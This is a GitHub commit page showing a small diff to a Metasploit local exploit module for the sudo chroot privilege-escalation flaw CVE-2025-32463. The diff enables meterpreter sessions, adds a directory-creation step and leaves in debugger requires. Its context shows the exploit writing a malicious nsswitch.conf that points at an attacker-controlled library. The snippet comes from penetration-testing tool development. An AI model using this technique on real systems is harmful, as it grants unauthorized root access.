Skip to content

Commit cd6167a

Browse files
committed
Fixing mkdir issue
1 parent de19346 commit cd6167a

File tree

1 file changed

+7
-2
lines changed

1 file changed

+7
-2
lines changed

modules/exploits/linux/local/sudo_chroot_cve_2025_32463.rb

Lines changed: 7 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,8 @@
22
# This module requires Metasploit: https://metasploit.com/download
33
# Current source: https://github.com/rapid7/metasploit-framework
44
##
5+
require 'pry'
6+
require 'pry-byebug'
57

68
class MetasploitModule < Msf::Exploit::Local
79
Rank = NormalRanking
@@ -40,8 +42,8 @@ def initialize(info = {})
4042

4143
'Arch' => [ ARCH_CMD ],
4244

43-
# mkdir/chmod has some issues for meterpreter, forcing shell
44-
'SessionTypes' => [ 'shell' ],
45+
# chmod has some issues for meterpreter, forcing shell
46+
'SessionTypes' => [ 'shell', 'meterpreter' ],
4547

4648
'Targets' => [[ 'Auto', {} ]],
4749

@@ -111,7 +113,10 @@ def exploit
111113

112114
cd(temp_dir)
113115

116+
mkdir(base_dir.to_s)
117+
114118
mkdir("#{base_dir}/etc")
119+
115120
mkdir('libnss_')
116121

117122
return Failure::PayloadFailed, 'Failed to create malicious nsswitch.conf file' unless write_file("#{base_dir}/etc/nsswitch.conf", "passwd: /#{lib_filename}\n")

0 commit comments

Comments
 (0)